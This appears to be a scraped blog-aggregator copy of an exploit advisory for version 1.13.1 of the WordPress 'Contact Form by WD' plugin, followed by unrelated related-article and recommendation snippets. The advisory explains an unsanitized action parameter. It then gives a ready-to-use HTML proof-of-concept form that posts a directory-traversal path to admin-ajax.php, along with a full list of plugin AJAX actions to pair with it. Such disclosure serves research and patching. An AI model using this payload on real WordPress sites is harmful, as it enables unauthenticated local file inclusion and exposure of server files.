WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17
# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1
Description
-----------
Plugin implements the following AJAX actions:
- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`
All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.
The following AJAX actions are available only for the paid version of
the plugin:
- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`
In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.
------
PoC
```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
<label>AJAX action:
<select name="action">
<optgroup label="Free version">
<option value="FMShortocde_fmc">FMShortocde_fmc</option>
<option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
<option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
<option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
<option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
<option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
<option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
<option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
<option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
<option value="generete_csv_fmc">generete_csv_fmc</option>
<option value="generete_xml_fmc">generete_xml_fmc</option>
<option value="get_stats_fmc">get_stats_fmc</option>
<option value="manage_fmc">manage_fmc</option>
<option value="manage_fm_fmc">manage_fm_fmc</option>
<option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
<option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
<option value="product_option_fmc">product_option_fmc</option>
<option value="select_data_from_db_fmc">select_data_from_db_fmc</option>
<option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
</optgroup>
<optgroup label="Pro Version">
<option value="paypal_info_fmc">paypal_info_fmc</option>
<option value="checkpaypal_fmc">checkpaypal_fmc</option>
<option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
<option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
<option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
<option value="frontend_show_map_fmc">frontend_show_map_fmc</option>
<option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
<option value="show_matrix_fmc">show_matrix_fmc</option>
<option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
<option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
<option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
<option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
<option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
<option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
<option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
</optgroup>
</select>
</label>
<button type="submit" value="Submit">Submit</button>
</form>
```
WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17的更多相关文章
- WordPress Plugin Contact Form Builder [CSRF → LFI]
# Exploit Title: Contact Form Builder [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vag ...
- WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17
# Title: Form Maker by WD [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vagenas# Vendor ...
- [2019/03/17#杭师大ACM]赛后总结(被吊锤记)
前言 和扬子曰大佬和慕容宝宝大佬一组,我压力巨大,而且掌机,累死我了,敲了一个下午的代码,他们两个人因为比我巨就欺负我QwQ. 依旧被二中学军爆锤,我真的好菜,慕容宝宝或者是扬子曰大佬来掌机一定成绩比 ...
- WordPress Contact Form 7插件任意文件上传漏洞
漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...
- article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)
Product: article2pdf (Wordpress plug-in)Product Website: https://wordpress.org/plugins/article2pdf/A ...
- Contact Form 7邮件发送失败的解决办法
一.contact form 7无法发送邮件的原因 对mail()函数的不支持. Contact Form 7表单提交失败在使用过程中会出现,归根结底原因在于wordpress主机问题,由于国 内很多 ...
- WP Mail SMTP插件解决Contact Form 7表单提交失败问题
WP Mail SMTP插件解决Contact Form 7表单提交失败问题 WP Mail SMTP是一款非常优秀的解决WordPress主机因为不支持或者是禁用了mail()函数,导致无法实现在线 ...
- contact form 7如何搭配Akismet过滤垃圾邮件
contact form 7有很多站长在用,但是经常会有一些垃圾邮件进来,如何过滤呢?两个方法:1.表单提交启用验证码功能,很多垃圾邮件是用软件扫相应的端口,然后批量群发,如果用验证码了可以过滤很大一 ...
- [转]jQuery Popup Login and Contact Form
本文转自:http://www.formget.com/jquery-popup-form/ Pop up forms are the smart way to present your site. ...
随机推荐
- 虚拟机安装windows7 VMware12 安装window7
闲来无事就来搞虚拟机装操作系统!期间出现很多错误,分享一下 一.安装虚拟机 二.准备安装的镜像文件 我下载的是windows7纯净版 深度技术里面下载的(http://www.xitongzhijia ...
- UEditor1.2.6.0在.net环境下使用
UEditor1.2.6.0 1.百度百科词条 2.UEditor官方网站 [CKEditor+CKFinder的配置实用,可查看博主另一篇文章] 第一次接触UEditor还是在2011年的下半年里, ...
- 第一课android开发之在activity间传递参数
一.活动间简单参数传递:1.在布局中添加按钮,用<Button,用id设置id名称,id="@+id/这儿填写你要设置成的名称":用text设置按钮上显示的文字.text=& ...
- 是时候选择一款富文本编辑器了(wangEditor)
需要一款富文本编辑器,当然不能自己造轮子.本来想使用cnblog也在用的TinyMCE,名气大,功能全.但是发现TinyMCE从4.0开始,不再支持直接下载.所以还是决定选用wangEditor.遗憾 ...
- nginx 常见正则匹配符号表示
1.^: 匹配字符串的开始位置: 2. $:匹配字符串的结束位置: 3..*: .匹配任意字符,*匹配数量0到正无穷: 4.\. 斜杠用来转义,\.匹配 . 特殊使用方法,记住记性了: 5.(值1|值 ...
- Cookies, Claims and Authentication in ASP.NET Core(转载)
Most of the literature concerning the theme of authentication in ASP.NET Core focuses on the use of ...
- Web后台快速开发框架(.NET Core)
Web后台快速开发框架(.NET Core) Coldairarrow 目录 目录 第1章 目录 1 第2章 简介 3 第3章 基础准备 4 3.1 开发环境 ...
- 遍历一个List的几种方法
方式1.一开始是这样的: public static void test1(List<String> list) { for (int i = 0; i < list.size(); ...
- Charles(V3.10.1)的抓包以及常见功能的使用
一.Charles的安装 安装都不会,那就不用再往下看了.(*^__^*) 嘻嘻…… 二.HTTP抓包 1.查看电脑IP地址 2.设置手机的HTTP代理 手机连接到同一WiFi下设置HTTP代理: 服 ...
- java 图片处理 base64编码和图片二进制编码相互转换
今天在弄小程序项目时,涉及上传图片的更改. 以下是代码: /** * -> base64 * @param imgFile * @return * @throws IOException */ ...